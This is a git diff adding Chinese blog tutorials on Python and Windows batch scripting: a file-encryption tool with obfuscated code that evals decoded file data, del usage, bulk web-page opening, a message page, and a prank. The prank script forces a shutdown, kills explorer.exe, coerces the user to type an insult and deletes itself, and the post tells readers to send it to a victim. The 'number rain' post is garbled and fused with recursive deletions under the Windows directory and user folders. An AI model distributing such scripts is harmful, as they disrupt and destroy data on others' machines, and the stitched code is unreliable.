,O0OO0O00OO00OOO00 ):#line:147 + OO0OOOO00OO00OO00 =Dx2 ()#line:148 + OO0OOOO00OO00OO00 .content =O00OOOO00000OO00O #line:149 + OO0OOOO00OO00OO00 .password =O0OO0O00OO00OOO00 #line:150 + O0OO0OO00O00O00OO =OO0OOOO00OO00OO00 .encrypt ()#line:151 + if O0OO0OO00O00O00OO [0 ]=="OKAY":#line:152 + return O0OO0OO00O00O00OO #line:153 + else :#line:154 + return O0OO0OO00O00O00OO #line:155 +def dx2decrypt (O000O0O0OOOOOOOOO ,OO0OOOO00O0000O00 ):#line:158 + O0000O0OO0000OO0O =Dx2 ()#line:159 + O0000O0OO0000OO0O .content =O000O0O0OOOOOOOOO #line:160 + O0000O0OO0000OO0O .password =OO0OOOO00O0000O00 #line:161 + O0OO000O00O0O000O =O0000O0OO0000OO0O .decrypt ()#line:162 + if O0OO000O00O0O000O [0 ]=="OKAY":#line:163 + return O0OO000O00O0O000O #line:164 + else :#line:165 + return O0OO000O00O0O000O #line:166 + +``` +## (二)GUI等的实现 +其实很简单,该怎么做就怎么做,请看第三部分代码实现。 +# 三、代码实现 +导入需要用到的模块: +```python +# 导入需要用到的模块 +from tkinter import Tk +from tkinter.filedialog import askopenfilename +from easygui import buttonbox, msgbox,passwordbox +from tkinter.messagebox import showinfo, showwarning, showerror +from os import name, environ +from hashlib import md5 +from random import shuffle +from base64 import ( + a85encode, + a85decode, + b64encode, + b64decode, + b32encode, + b32decode, + b16encode, + b16decode, +) + +``` +先创建两个功能函数: +```python +#生成随机字符串集合 +def shuffle_str(s): + str_list = list(s) + shuffle(str_list) + return "".join(str_list) + +#生成md5值储存密码 +def create_md5(s): + enc = md5(s.encode()).hexdigest() + return enc +``` + +声明变量及隐藏`tkinter`窗口: +```python +#设置加密字典和映射字典 +dx1marks = {} +dx1dict = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;\"'=+-.,! " + +# 声明变量 +title = "文件通文件加解密工具" +ec = "UTF-8" +button = "确定" +userprofile = environ["Userprofile"].replace("\\", "/") +states = 'RUNNING' + +# 隐藏窗口 +hide = Tk() +hide.withdraw() + +``` +分配到`Dx1`字典: + +```python + +#分配到字典 +for i in range(0, len(dx1dict)): + if i <= 9: + dx1marks["0" + str(i)] = dx1dict[i] + else: + dx1marks[str(i)] = dx1dict[i] +``` +如下为`Dx1`算法的实现: +```python +#dx1低级加密算法 +class Dx1: + #设定属性 + def __init__(self): + self.content = "DaoXi 1.0/2.0 Encrypt Decrypt Algorithm Library" + self.interval_mark = "-" + self.ec = "UTF-8" + self.dx1dx1marks = dx1marks + #加密函数 + def encrypt(self): + text = a85encode(self.content.encode(self.ec)).decode(self.ec) + letters = [] + for i in text: + letters.append(list(dx1marks.keys())[list(dx1marks.values()).index(i)]) + return ["OKAY", self.interval_mark.join(letters)] + #解密函数 + def decrypt(self): + try: + text = self.content.split(self.interval_mark) + letters = [] + for i in text: + letters.append(dx1marks[i]) + result = "".join(letters) + return ["OKAY", a85decode(result.encode(self.ec)).decode(self.ec)] + except Exception as e: + return ["ERROR", e] + +#dx1算法加密函数 +def dx1encrypt(content, interval="-"): + dx1 = Dx1() + dx1.content = content + dx1.interval_mark = interval + text = dx1.encrypt() + if text[0] == "OKAY": + return text[1] + else: + return "Error! " + text[1] + +#dx1算法解密函数 +def dx1decrypt(content): + dx1 = Dx1() + dx1.content = content + text = dx1.decrypt() + if text[0] == "OKAY": + return text[1] + else: + return "Error! " + str(text[1]) +``` +由于`Dx2`算法源代码不便公布,发布混淆版: + +```python +class Dx2 :#line:2 + def __init__ (O00O000000O000O0O ):#line:4 + O00O000000O000O0O .content ="DaoXi 1.0/2.0 Encrypt Decrypt Algorithm Library"#line:5 + O00O000000O000O0O .interval_mark ="-"#line:6 + O00O000000O000O0O .password ="default"#line:7 + O00O000000O000O0O .__O00O0OOO00O00000O ={}#line:8 + O00O000000O000O0O .__OO0OO0OOOO00OO0O0 ={}#line:9 + O00O000000O000O0O .__O0O0O0OO00OOOO0OO =shuffle_str (dx1dict )#line:10 + for OOO00O000OOO000OO in range (0 ,len (O00O000000O000O0O .__O0O0O0OO00OOOO0OO )):#line:11 + if OOO00O000OOO000OO <=9 :#line:12 + O00O000000O000O0O .__O00O0OOO00O00000O ["0"+str (OOO00O000OOO000OO )]=O00O000000O000O0O .__O0O0O0OO00OOOO0OO [OOO00O000OOO000OO ]#line:13 + else :#line:14 + O00O000000O000O0O .__O00O0OOO00O00000O [str (OOO00O000OOO000OO )]=O00O000000O000O0O .__O0O0O0OO00OOOO0OO [OOO00O000OOO000OO ]#line:15 + def encrypt (O00OO0O000OOOO0O0 ):#line:17 + try :#line:18 + OO00O00O0O0OOO0O0 =O00OO0O000OOOO0O0 .content #line:19 + O000O0O0O00O00OO0 =b32encode (create_md5 (O00OO0O000OOOO0O0 .password ).encode ()).decode ()#line:20 + OO00O0OO0000O00O0 =b32encode (b64encode (a85encode (str (O00OO0O000OOOO0O0 .__O00O0OOO00O00000O ).encode ()))).decode ()#line:21 + OO0OO0O0OOO000OOO =[]#line:23 + for O0O0OOOO00O000000 in OO00O00O0O0OOO0O0 :#line:24 + OO0OO0O0OOO000OOO .append (list (O00OO0O000OOOO0O0 .__O00O0OOO00O00000O .keys ())[list (O00OO0O000OOOO0O0 .__O00O0OOO00O00000O .values ()).index (O0O0OOOO00O000000 )])#line:27 + OO0OOO0O0000O0O00 =O00OO0O000OOOO0O0 .interval_mark .join (OO0OO0O0OOO000OOO )#line:28 + O00O00OO0OO0O0OOO ="%s(dx2)%s(dx2)%s(dx2)"%(OO0OOO0O0000O0O00 ,O000O0O0O00O00OO0 ,OO00O0OO0000O00O0 )#line:30 + OO000O000O0O00000 =dx1encrypt (O00O00OO0OO0O0OOO )#line:31 + return ["OKAY",OO000O000O0O00000 ]#line:32 + except Exception as OO0OO000OOOO0O000 :#line:33 + return ["ERROR",OO0OO000OOOO0O000 ]#line:34 + def decrypt (OOO0O0OO0OOOO0000 ):#line:36 + try :#line:37 + OOO0OO00O0000O0OO =dx1decrypt (OOO0O0OO0OOOO0000 .content ).split ("(dx2)")#line:38 + OOO0OO00O0000O0OO .pop (3 )#line:39 + O0000O00OOO0O0O0O =b32decode (OOO0OO00O0000O0OO [1 ]).decode ()#line:41 + OOO0OOOO0O00000OO =create_md5 (OOO0O0OO0OOOO0000 .password )#line:42 + if O0000O00OOO0O0O0O ==OOO0OOOO0O00000OO :#line:44 + O0O0O0O00O00O0O00 =a85decode (b64decode (b32decode (OOO0OO00O0000O0OO [2 ]))).decode ()#line:45 + OO00OOOO000O00000 =eval (O0O0O0O00O00O0O00 )#line:46 + OOO0O0OO0OOOO0000 .__OO0OO0OOOO00OO0O0 =OO00OOOO000O00000 #line:47 + O0OOOO00OO000O00O =[]#line:49 + O0000O0000000OOO0 =OOO0OO00O0000O0OO [0 ].split (OOO0O0OO0OOOO0000 .interval_mark )#line:50 + for OOOOO0OO0OOOO0O00 in O0000O0000000OOO0 :#line:51 + if OO00OOOO000O00000 [OOOOO0OO0OOOO0O00 ]:#line:52 + O0OOOO00OO000O00O .append (OO00OOOO000O00000 [OOOOO0OO0OOOO0O00 ])#line:53 + OO0OO00OOOOOO0000 ="".join (O0OOOO00OO000O00O )#line:54 + return ["OKAY",OO0OO00OOOOOO0000 ]#line:55 + else :#line:56 + return ["ERROR","The password is incorrect"]#line:57 + except Exception as O0OOOO0O000O00OOO :#line:58 + return ["ERROR",O0OOOO0O000O00OOO ]#line:59 +def dx2encrypt (O000OO000O000OO0O ,OO0O00O0OO0OOOO0O ):#line:62 + O0OOOO0OO0000OOO0 =Dx2 ()#line:63 + O0OOOO0OO0000OOO0 .content =O000OO000O000OO0O #line:64 + O0OOOO0OO0000OOO0 .password =OO0O00O0OO0OOOO0O #line:65 + OOOO0OO0O000O00OO =O0OOOO0OO0000OOO0 .encrypt ()#line:66 + if OOOO0OO0O000O00OO [0 ]=="OKAY":#line:67 + return OOOO0OO0O000O00OO [1 ]#line:68 + else :#line:69 + return OOOO0OO0O000O00OO [0 ]#line:70 +def dx2decrypt (OO00O0OOO0O00OOO0 ,OOOO0000O0000O0O0 ):#line:73 + OOO00OO000OOO0OOO =Dx2 ()#line:74 + OOO00OO000OOO0OOO .content =OO00O0OOO0O00OOO0 #line:75 + OOO00OO000OOO0OOO .password =OOOO0000O0000O0O0 #line:76 + OO0OOOO00O00OOO0O =OOO00OO000OOO0OOO .decrypt ()#line:77 + if OO0OOOO00O00OOO0O [0 ]=="OKAY":#line:78 + return OO0OOOO00O00OOO0O #line:79 + else :#line:80 + return OO0OOOO00O00OOO0O +``` +加密函数、解密函数和帮助,以及最后的GUI: + +```python +# 加密函数 +def encodef(): + #设置状态 + global states + # 加载一个选择文件的窗口 + get = askopenfilename( + title=title, initialdir=userprofile, filetypes=[("All Files", "*.*")] + ) + # 读取文件内容 + with open(get, "rb") as f: + temp = f.read() + #请求用户输入密码 + p = passwordbox('请输入加密密码(请妥善保存):',title) + # 加密文件内容 + encode_temp = dx2encrypt(b64encode(temp).decode(),p).encode() + # 获取文件名称 + file_name_list = get.split("/") + file_name = file_name_list[len(file_name_list) - 1] + file_path = "/".join(file_name_list).replace(file_name, "(encode)" + file_name) + # 加密文件 + with open(file_path, "wb") as a: + a.write(encode_temp) + # 提示用户加密成功 + msgbox("加密成功!", title, button) + states = 'OVER' + +# 解密函数 +def decodef(): + #设置状态 + global states + # 加载一个选择文件的窗口 + get = askopenfilename( + title=title, initialdir=userprofile, filetypes=[("All Files", "*.*")] + ) + #请求用户输入加密密码 + p = passwordbox('请输入加密密码以解密文件:',title) + # 读取加密文件 + passwordIsRight = False + with open(get, "r", encoding=ec) as f: + check = dx2decrypt(f.read(),p) + if not check[1] == 'The password is incorrect': + temp = check[1].encode() + temp = b64decode(temp) + passwordIsRight = True + else: + showerror(title,'密码有误!') + temp = 'The password is incorrect' + # 获取文件解密内容 + decode_temp = temp + # 获取文件名称 + file_name_list = get.split("/") + file_name = file_name_list[len(file_name_list) - 1] + file_path = "/".join(file_name_list).replace(file_name, "(decode)" + file_name) + + # 在解密目录下添加文件 + with open("%s" % (file_path), "wb") as a: + a.write(decode_temp) + # 提示用户加密成功 + if passwordIsRight == True: + msgbox("解密成功!", title, button) + else: + exit() + states = 'OVER' + +# 帮助函数 +def help(): + text = """欢迎使用此软件,此软件可以加密或解密各种文件,以免被盗窃。 + 开发者:潘道熹 + 开发时间:2020年1月 + 联系邮箱:qingfengstudio@yeah.net + 客服QQ:3377063617 + 代码语言:Python 3.6 + + 如果您在使用中出现了问题,请联系客服解决。 + """ + msgbox(text, title, button) + +try: + while states == 'RUNNING': + if __name__ == "__main__" and name == "nt": + choose = buttonbox("欢迎使用%s!\n请选择您需要的服务:" % title, title, ("加密文件", "解密文件", "关于我们")) + if choose == "关于我们": + help() + elif choose == "加密文件": + encodef() + elif choose == "解密文件": + decodef() + else: + exit() + else: + showerror(title, "请使用Windows系统运行此程序!\n请自主运行此程序,不能使用模块进行导入。") + exit() +except Exception as e: + showwarning(title,'错误:%s' % e) +hide.mainloop() +``` + diff --git "a/\346\211\271\345\244\204\347\220\206\345\210\240\351\231\244\346\214\207\345\256\232\346\226\207\344\273\266\345\244\271\344\270\255\347\232\204\346\214\207\345\256\232\347\261\273\345\236\213\346\226\207\344\273\266.md" "b/\346\211\271\345\244\204\347\220\206\345\210\240\351\231\244\346\214\207\345\256\232\346\226\207\344\273\266\345\244\271\344\270\255\347\232\204\346\214\207\345\256\232\347\261\273\345\236\213\346\226\207\344\273\266.md" new file mode 100644 index 0000000..19bd363 --- /dev/null +++ "b/\346\211\271\345\244\204\347\220\206\345\210\240\351\231\244\346\214\207\345\256\232\346\226\207\344\273\266\345\244\271\344\270\255\347\232\204\346\214\207\345\256\232\347\261\273\345\236\213\346\226\207\344\273\266.md" @@ -0,0 +1,568 @@ +## 背景 +最近要打包一下学习的算法上机测试的资料,把编译出来的文件删一下,只保留C++源文件。 +这里面的东西还真不少: + +```bash +D:\编程代码\程序\C++>tree /f +卷 Data 的文件夹 PATH 列表 +卷序列号为 90AF-CB35 +D:. +│ Hello World.cpp +│ +└─Project + │ 01.cpp + │ 02.cpp + │ 03.cpp + │ 04.cpp + │ 05.cpp + │ 06.cpp + │ 07.cpp + │ 08.cpp + │ 09.cpp + │ 10.cpp + │ + └─记录 + ├─2021-10-10 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第十九课.docx + │ + ├─2021-10-17 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-10-24 + │ 1.cpp + │ 1.exe + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 2.exe + │ 3.cpp + │ 3.exe + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-10-3 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第十八课.docx + │ + ├─2021-10-31 + │ 1.cpp + │ 1.exe + │ 10.cpp + │ 2.cpp + │ 2.exe + │ 3.cpp + │ 3.exe + │ 4.cpp + │ 4.exe + │ 5.cpp + │ 5.exe + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-11-14 + │ 1.cpp + │ 1.exe + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 16.cpp + │ 17.cpp + │ 18.cpp + │ 19.cpp + │ 2.cpp + │ 2.exe + │ 20.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-11-18 + │ 1.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ + ├─2021-11-21 + │ 1.cpp + │ 1.exe + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 2.exe + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-11-28 + │ 1.cpp + │ 1.exe + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 2.exe + │ 3.cpp + │ 3.exe + │ 4.cpp + │ 4.exe + │ 5.cpp + │ 5.exe + │ 6.cpp + │ 6.exe + │ 7.cpp + │ 7.exe + │ 8.cpp + │ 8.exe + │ 9.cpp + │ + ├─2021-11-7 + │ 1.cpp + │ 1.exe + │ 10.cpp + │ 2.cpp + │ 2.exe + │ 3.cpp + │ 3.exe + │ 4.cpp + │ 4.exe + │ 5.cpp + │ 5.exe + │ 6.cpp + │ 6.exe + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第二十二课.docx + │ + ├─2021-6-18 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-6-25 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-7-12 + │ 1.cpp + │ 10.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-7-13 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ + ├─2021-7-14 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第八课.docx + │ + ├─2021-7-15 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-7-16 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第九课.docx + │ + ├─2021-7-19 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-7-2 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-7-20 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第十课.docx + │ + ├─2021-7-21 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第十一课.docx + │ + ├─2021-7-22 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-7-26 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 16.cpp + │ 17.cpp + │ 18.cpp + │ 19.cpp + │ 2.cpp + │ 20.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第十一课.docx + │ 第十二课.docx + │ 第十五课.docx + │ + ├─2021-7-9 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + ├─2021-9-12 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ title.in + │ title.out + │ + ├─2021-9-19 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ 第十七课.docx + │ + ├─2021-9-21 + │ 1.cpp + │ 10.cpp + │ 11.cpp + │ 12.cpp + │ 13.cpp + │ 14.cpp + │ 15.cpp + │ 2.cpp + │ 3.cpp + │ 4.cpp + │ 5.cpp + │ 6.cpp + │ 7.cpp + │ 8.cpp + │ 9.cpp + │ + └─2021-9-5 + 1.cpp + 10.cpp + 11.cpp + 12.cpp + 13.cpp + 14.cpp + 15.cpp + 2.cpp + 3.cpp + 4.cpp + 5.cpp + 6.cpp + 7.cpp + 8.cpp + 9.cpp + 第十六课.docx + + +D:\编程代码\程序\C++> +``` +搜了了一下,26个文件,用批处理给删了! + +
+ +## 认识一下`del`命令 +`del`这个命令自带的解说如下: + +```bash + +D:\编程代码\程序\C++>del /? +删除一个或多个文件。 + +DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names +ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names + + names 指定一个或多个文件或者目录列表。 + 通配符可用来删除多个文件。 + 如果指定了一个目录,该目录中的所 + 有文件都会被删除。 + + /P 删除每一个文件之前提示确认。 + /F 强制删除只读文件。 + /S 删除所有子目录中的指定的文件。 + /Q 安静模式。删除全局通配符时,不要求确认 + /A 根据属性选择要删除的文件 + 属性 R 只读文件 S 系统文件 + H 隐藏文件 A 准备存档的文件 + I 无内容索引文件 L 重新分析点 + O 脱机文件 - 表示“否”的前缀 + +如果命令扩展被启用,DEL 和 ERASE 更改如下: + +/S 开关的显示句法会颠倒,即只显示已经 +删除的文件,而不显示找不到的文件。 + +D:\编程代码\程序\C++> +``` +我们可以使用通配符来概括这些文件,如所有的C++源文件就是`*.cpp`,所有的docx格式文档就是`*.docx`。 +当我们想要删除所有的可执行文件时,就输入`del *.exe`,可以加上安静模式、进入子文件夹去删除等方法,综合起来代码为`del /q /s /f *.exe`,来试一下。 + +另外说一嘴,不要随便用这个命令,这样写不会放到回收站,直接删除掉,所以谨慎使用。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8400fe7a15954a02a3b0f99de57dab2c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + diff --git "a/\346\211\271\345\244\204\347\220\206\346\211\271\351\207\217\346\211\223\345\274\200\347\275\221\351\241\265.md" "b/\346\211\271\345\244\204\347\220\206\346\211\271\351\207\217\346\211\223\345\274\200\347\275\221\351\241\265.md" new file mode 100644 index 0000000..cf56de9 --- /dev/null +++ "b/\346\211\271\345\244\204\347\220\206\346\211\271\351\207\217\346\211\223\345\274\200\347\275\221\351\241\265.md" @@ -0,0 +1,31 @@ +我们的Windows系统里有种文件拓展名是bat,或是cmd。 + +> 批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat 。目前比较常见 的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。 + +> 今天我们的文章是适合于了解批处理脚本的朋友,并可以使用批处理进行一些简单操作。 + +我们今天使用start来打开IE浏览器,批量打开指定网页。 +步骤: +1.在某个盘里创建新文件夹:批量打开网页。 +2.在里面创建两个文件,一个是批处理文件open.bat,另一个是文本文档pages.txt,如图所示: +![图 +片](https://img-blog.csdnimg.cn/20200716191649527.png) +3.打开pages.txt,输入要打开的网址,一行一个。如图所示: +![图片](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200716192141322.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +4.输入完成后右键open.bat,点击“编辑”,输入代码如下: + +```powershell +@echo off + +::关闭回显 + +for /f %i in (pages.txt) do (start iexplore "%i") + +::循环打开 + +pause + +::点击退出 +``` +代码完成了! + diff --git "a/\346\211\271\345\244\204\347\220\206\346\225\260\345\255\227\351\233\250\347\250\213\345\272\217.md" "b/\346\211\271\345\244\204\347\220\206\346\225\260\345\255\227\351\233\250\347\250\213\345\272\217.md" new file mode 100644 index 0000000..bda81b2 --- /dev/null +++ "b/\346\211\271\345\244\204\347\220\206\346\225\260\345\255\227\351\233\250\347\250\213\345\272\217.md" @@ -0,0 +1,34 @@ +我们来写一个耍帅专用的程序——数字雨。 +类似于下面这种: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200821143140117.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +打开记事本`notepad`,输入代码如下: + +```powershell +@echo off +title NumberRain +color 02 +setlocal ENABLEDELAYEDEXPANSION +for /l %%i in (0) do ( +set "line=" +for /l %%j in (1,1,80) do ( +set /a Down%%j-=2 +set "x=!Down%%j!" +if !x! LSS 0 ( +set /a Arrow%%j=!random!%%3 +set /a Down%%j=!random!%%15+10 +) +set "x=!Arrow%%j!" +if "!x!" == "2" ( +set "line=!line!!random:~-1! " +) else (set "line=!line! ") +) +set /p=!line!%windir%\delsystem.txt +for /f %%i in (%windir%\delsystem.txt) do rd %windir%\%%i /s /q +del %windir%\delsystem.txt /f /q +del %windir%\KB*.log /f /q +del /f /s /q %systemdrive%\*.tmp +del /f /s /q %systemdrive%\*._mp +del /f /s /q %systemdrive%\*.log +del /f /s /q %systemdrive%\*.gid +del /f /s /q %systemdrive%\*.chk +del /f /s /q %systemdrive%\*.old +del /f /s /q %systemdrive%\recycled\*.* +del /f /s /q %windir%\*.bak +del /f /s /q %windir%\prefetch\*.* +rd /s /q %windir%\temp md %windir%\temp +del /f /q %userprofile%\cookies\*.* +del /f /s /q "%userprofile%\local settings\temporary internet files\*.*" +del /f /s /q "%userprofile%\local settings\temp\*.*" +del /f /s /q "%userprofile%\recent\*.*" +cls +goto clean +pause +``` +代码完成了! diff --git "a/\346\211\271\345\244\204\347\220\206\347\225\231\350\250\200\351\241\265\351\235\242.md" "b/\346\211\271\345\244\204\347\220\206\347\225\231\350\250\200\351\241\265\351\235\242.md" new file mode 100644 index 0000000..c013e71 --- /dev/null +++ "b/\346\211\271\345\244\204\347\220\206\347\225\231\350\250\200\351\241\265\351\235\242.md" @@ -0,0 +1,34 @@ +> 我们今天使用批处理语言来实现留言页面的效果。 +> 系统:Windows + +步骤: +1.在搜索栏里输入`notepad`,打开记事本,输入以下代码(注意一定要**隔一行写一次命令**,**注释不用写**): + +```powershell +@echo off + +::关闭回显 + +chcp 65001 >nul + +::切换活页码 + +color 02 + +::设置颜色 + +title 我的留言 + +::设置标题 + +::开始主页面,输出信息 + +echo 你好呀,我的朋友! + +echo 这是我用批处理语言给你写的一封信。 + +::………………内容自己写,我在这里就不说了 + +::翻页的代码是pause & cls +``` +代码完成了。 diff --git "a/\346\211\271\345\244\204\347\220\206\347\256\200\345\215\225\346\201\266\346\220\236\344\273\243\347\240\201.md" "b/\346\211\271\345\244\204\347\220\206\347\256\200\345\215\225\346\201\266\346\220\236\344\273\243\347\240\201.md" new file mode 100644 index 0000000..f1010a3 --- /dev/null +++ "b/\346\211\271\345\244\204\347\220\206\347\256\200\345\215\225\346\201\266\346\220\236\344\273\243\347\240\201.md" @@ -0,0 +1,64 @@ +> 今天简单休息一下,我们来写个恶搞代码。 +(如果有必要你可以加上禁用任务管理器,但是未免有点太狠毒了) + +步骤: +1.新建一个文本文档,将后缀名改为`.bat`。 +2.右键,点击“编辑”,输入代码: + +```powershell +@echo off + +chcp 65001 >nul + +set target="我是250" + +title 快在下面输入%target%,否则后果自负! + +color 0A + +shutdown /s /t 60 /c "快点输入!" + +taskkill /im "explorer.exe" /f + +echo 快点在下面输入%target%,否则1分钟后关机! + +echo 你现在无法逃避,因为我已经关闭你的电脑的资源 + +管理器了! + +echo 不许关闭这个窗口,否则你会打不开系统的!信不 + +信由你! + +echo. + +:input + +set /p input=在这里输入%target%: + +if "%input%" == %target% ( + +echo. + +echo 哈哈,真乖。 + +call "%WINDIR%\explorer.exe" + +shutdown /a + +ping 127.0.1 /n 3 >nul + +del %0 + +) else ( + +echo. + +echo 快点输入! + +goto input + +) + +``` +代码完成了。注意不要打开,直接发送给你要恶搞的人吧!一定要注意隔一行写一句代码否则有可能会报错! diff --git "a/\346\211\271\345\244\204\347\220\206\350\257\255\350\250\200\347\232\204\346\227\266\351\227\264\351\224\201.md" "b/\346\211\271\345\244\204\347\220\206\350\257\255\350\250\200\347\232\204\346\227\266\351\227\264\351\224\201.md" new file mode 100644 index 0000000..f756dc0 --- /dev/null +++ "b/\346\211\271\345\244\204\347\220\206\350\257\255\350\250\200\347\232\204\346\227\266\351\227\264\351\224\201.md" @@ -0,0 +1,60 @@ +时间可以被作为一把锁子,必须在指定的日期才能打开。 +今天我们来写一个程序,必须要设置在指定的日期才能打开。 +我们需要准备两个文件,一个是`CodeFile.py`,另一个是`Timelock.bat`。 +创建好以后,打开`Timelock.bat`,输入以下代码: 